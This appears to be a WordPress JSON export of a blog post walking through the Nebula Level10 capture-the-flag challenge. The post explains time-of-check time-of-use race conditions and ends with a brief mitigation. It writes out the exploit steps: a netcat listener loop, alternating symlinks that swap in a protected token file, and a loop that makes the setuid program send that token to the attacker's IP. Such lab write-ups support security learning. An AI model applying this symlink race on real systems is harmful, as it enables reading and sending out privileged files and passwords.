{"id":48,"date":"2022-07-17T22:03:27","date_gmt":"2022-07-17T22:03:27","guid":{"rendered":"http:\/\/moveax.me\/?p=48"},"modified":"2022-08-31T19:01:52","modified_gmt":"2022-08-31T19:01:52","slug":"nebula-level10-a-newbies-approach","status":"publish","type":"post","link":"https:\/\/giga-rapid.com\/esites\/moveaxme\/nebula-level10-a-newbies-approach\/","title":{"rendered":"Nebula Level10: A Newbie\u2019s Approach"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Level10 introduces the Time-of-check Time-of-use (TOCTOU) vulnerability, well described in the&nbsp;<a href=\"https:\/\/cwe.mitre.org\/data\/definitions\/367.html\">CWE<\/a>&nbsp;website.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>What you\u2019ll need to know\u2026<\/strong><\/h2>\n\n\n\n<ul class=\"wp-block-list\"><li>C<\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Level10<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">I\u2019ll quickly explain the TOCTOU vulnerability using a simple example. Consider the following lines of code.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">if(!access(abc_file, W_OK)){\n&nbsp; fp = fopen(abc_file, \"w+\");\n&nbsp; write(fp, \"moveax\", sizeof(\"moveax\"));\n}\n\nelse{\n&nbsp; fprintf(stderr, \"Sorry, but you don't have permissions to write to this file!\\n\");\n}<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">It\u2019s a simple piece of code, it checks if you have access to the file&nbsp;<em>abc_file<\/em>. If you do, it\u2019ll open this file and write&nbsp;<em>moveax<\/em>&nbsp;and if you don\u2019t, it will print a message to stderr. So, the \u201ctime of check\u201d is the first line and the \u201ctime of use\u201d is the second one.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now, imagine that a user with malicious intents, starts with creating a symbolic link to an important file (passwd maybe) infinitely and parallel to the execution of the code displayed above. If the creation of this symbolic link happens between the first two lines: JACKPOT! One note: for sure, many of the attempts to create the symbolic link will fail because happened before the if clause. You\u2019ll see this while we solve this level10 challenge.<\/p>\n\n\n\n<figure class=\"wp-block-image\" id=\"attachment_697\"><img decoding=\"async\" src=\"wp-content\/uploads\/2018\/06\/Line_24.png\" alt=\"Line24\" class=\"wp-image-697\"\/><figcaption>Time of Check<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image\" id=\"attachment_698\"><img decoding=\"async\" src=\"wp-content\/uploads\/2018\/06\/Line_54.png\" alt=\"Line54\" class=\"wp-image-698\"\/><figcaption>Time of Use<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">First of all, let\u2019s put netcat listening. You can do this in the same VM or another, running&nbsp;<em>while true;<\/em>&nbsp;do nc -lv 18211; done (Linux) or&nbsp;<em>FOR \/L %N IN () DO nc -lvp 18211<\/em>&nbsp;(Windows).<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Second, we need to create a fake token. Next, we need to create a symbolic link in our home that points to the fake token and alternate this symbolic link with one that points to the real token into the flag10 home directory. Important note: we need to do this repeatedly so we can have the instructions executed in the order presented below.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>Ideal instructions order\u2019s<\/strong><\/h4>\n\n\n\n<pre class=\"wp-block-preformatted\">ln -sf \/tmp\/sometoken \/home\/level10\/token;\nif(access(argv[1], R_OK) == 0) {\n...\nln -sf \/home\/flag10\/token \/home\/level10\/token;\n...\nffd = open(file, O_RDONLY);<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Now, we just need to keep sending the file through netcat. Finally, run&nbsp;<em>while true;<\/em><em>&nbsp;do \/home\/flag10\/flag10 \/home\/level10\/token &lt;your IP&gt;;&nbsp;<\/em><em>done<\/em>&nbsp;in order to achieve this.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The following image shows the commands that I executed in order to read the token file.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img decoding=\"async\" src=\"wp-content\/uploads\/2018\/06\/Commands.png\" alt=\"commands\" class=\"wp-image-702\"\/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">After this point, you can notice two files in the home directory, the symbolic link and the output_level10 file.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img decoding=\"async\" src=\"wp-content\/uploads\/2018\/06\/home_contents.png\" alt=\"Files\" class=\"wp-image-703\"\/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">If you go ahead and read the output_level10 file you\u2019ll find there the password of flag10 account.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img decoding=\"async\" src=\"wp-content\/uploads\/2018\/06\/result_level10.png\" alt=\"Result level10\" class=\"wp-image-704\"\/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">Notice that there are a lot of failed tries as I told you.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let\u2019s now try to login into the flag10 account\u2026<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img decoding=\"async\" src=\"wp-content\/uploads\/2018\/06\/solution.png\" alt=\"Solution\" class=\"wp-image-705\"\/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">There you go. Challenge level10 solved!<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Challenges completed: 11\/20<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Mitigation<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">TOCTOU race conditions are hard to eliminate. One way of avoiding them is to use file descriptors&nbsp;throughout functions like&nbsp;<em>fstat<\/em>&nbsp;and don\u2019t use functions like&nbsp;<em>access<\/em>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Walkthrough<\/strong><\/h2>\n\n\n\n<figure class=\"wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-4-3 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe loading=\"lazy\" title=\"Nebula Level 10-14\" width=\"500\" height=\"375\" src=\"https:\/\/www.youtube.com\/embed\/xGOqq_6blPo?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe>\n<\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>Level10 introduces the Time-of-check Time-of-use (TOCTOU) vulnerability, well described in the&nbsp;CWE&nbsp;website. What you\u2019ll need to know\u2026 C Level10 I\u2019ll quickly explain the TOCTOU vulnerability using&#8230;<\/p>\n<div class=\"more-link-wrapper\"><a class=\"more-link\" href=\"https:\/\/giga-rapid.com\/esites\/moveaxme\/nebula-level10-a-newbies-approach\/\">Continue reading<span class=\"screen-reader-text\">Nebula Level10: A Newbie\u2019s Approach<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4,1],"tags":[],"class_list":["post-48","post","type-post","status-publish","format-standard","hentry","category-nebula","category-uncategorized","entry"],"_links":{"self":[{"href":"https:\/\/giga-rapid.com\/esites\/moveaxme\/wp-json\/wp\/v2\/posts\/48","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/giga-rapid.com\/esites\/moveaxme\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/giga-rapid.com\/esites\/moveaxme\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/giga-rapid.com\/esites\/moveaxme\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/giga-rapid.com\/esites\/moveaxme\/wp-json\/wp\/v2\/comments?post=48"}],"version-history":[{"count":2,"href":"https:\/\/giga-rapid.com\/esites\/moveaxme\/wp-json\/wp\/v2\/posts\/48\/revisions"}],"predecessor-version":[{"id":118,"href":"https:\/\/giga-rapid.com\/esites\/moveaxme\/wp-json\/wp\/v2\/posts\/48\/revisions\/118"}],"wp:attachment":[{"href":"https:\/\/giga-rapid.com\/esites\/moveaxme\/wp-json\/wp\/v2\/media?parent=48"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/giga-rapid.com\/esites\/moveaxme\/wp-json\/wp\/v2\/categories?post=48"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/giga-rapid.com\/esites\/moveaxme\/wp-json\/wp\/v2\/tags?post=48"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}